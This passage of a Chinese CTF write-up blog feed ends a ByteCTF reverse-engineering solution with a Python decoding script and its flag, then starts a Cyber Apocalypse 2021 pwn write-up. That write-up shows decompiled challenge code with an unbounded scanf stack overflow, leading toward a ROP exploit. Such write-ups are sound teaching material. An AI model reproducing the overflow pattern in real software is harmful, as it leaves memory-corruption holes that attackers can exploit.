&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xe4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x68&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfa&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x14&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x78&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;ss&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.join([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;bin&lt;&#x2F;span&gt;&lt;span&gt;(b)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:].zfill(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;b &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;l])
&lt;&#x2F;span&gt;&lt;span&gt;table&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;!&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00110110&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;#&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;101001&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;amp;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10100011100&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;(&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;010011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;)&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;111100&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;*&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0110010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;+&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;-&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10100010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1010000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;000000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1110011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;[&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;110011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;]&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00100&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;^&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;01111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;_&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;01010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;{&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10001&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;}&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1010001111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;a&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;100101&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;b&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00001&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;01110&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;d&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;11011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;e&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0011010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;f&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;010010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;g&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;111011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;h&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;01000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;i&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10110&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;j&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00110111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;k&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1111010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;l&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;110010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;m&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;n&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;o&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10100011101&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;p&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0110011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;q&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;011000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;r&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;111110&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;s&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;01011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;t&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;11000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;u&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;11110110&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;v&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;000001&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;w&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;111000&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;x&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00101&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;y&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10011&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;z&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;101000110&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;100100&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;111111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;3&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;01101&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;4&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;11010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;5&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;11110111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;6&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;001100&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;7&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;111010&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;00111&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;9&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;10101&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1110010&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;states&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[(ss,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(states):
&lt;&#x2F;span&gt;&lt;span&gt;    s,result&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;states.pop(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;ch,bi &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;table.items():
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;s.startswith(bi):
&lt;&#x2F;span&gt;&lt;span&gt;            states.append((s[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(bi):],result&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;ch))
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(result)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后flag为&lt;code&gt;bytectf{autofp=[=](m0d3rnc++juejuezi){};}&lt;&#x2F;code&gt;。(是c++的lambda表达式&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Cyber Apocalypse 2021题解</title>
        <published>2021-04-26T00:00:00+00:00</published>
        <updated>2021-04-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/cyber-apocalypse-wp/"/>
        <id>https://richar.top/cyber-apocalypse-wp/</id>
        
        <content type="html" xml:base="https://richar.top/cyber-apocalypse-wp/">&lt;h1 id=&quot;pwn&quot;&gt;pwn&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;controller&quot;&gt;Controller&lt;&#x2F;h2&gt;
&lt;p&gt;经过一个&lt;code&gt;check&lt;&#x2F;code&gt;后就是一个最普通的ROP。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;__int64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;calculator&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;__int64&lt;&#x2F;span&gt;&lt;span&gt; result; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; rax
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; v1[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;28&lt;&#x2F;span&gt;&lt;span&gt;]; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+0h] [rbp-20h] BYREF
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; v2; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+1Ch] [rbp-4h]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;calc();
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;( v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;65338 &lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;calculator();
&lt;&#x2F;span&gt;&lt;span&gt;  printstr(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Something odd happened!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;Do you want to report the problem?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;  __isoc99_scanf(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, v1);    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;栈溢出
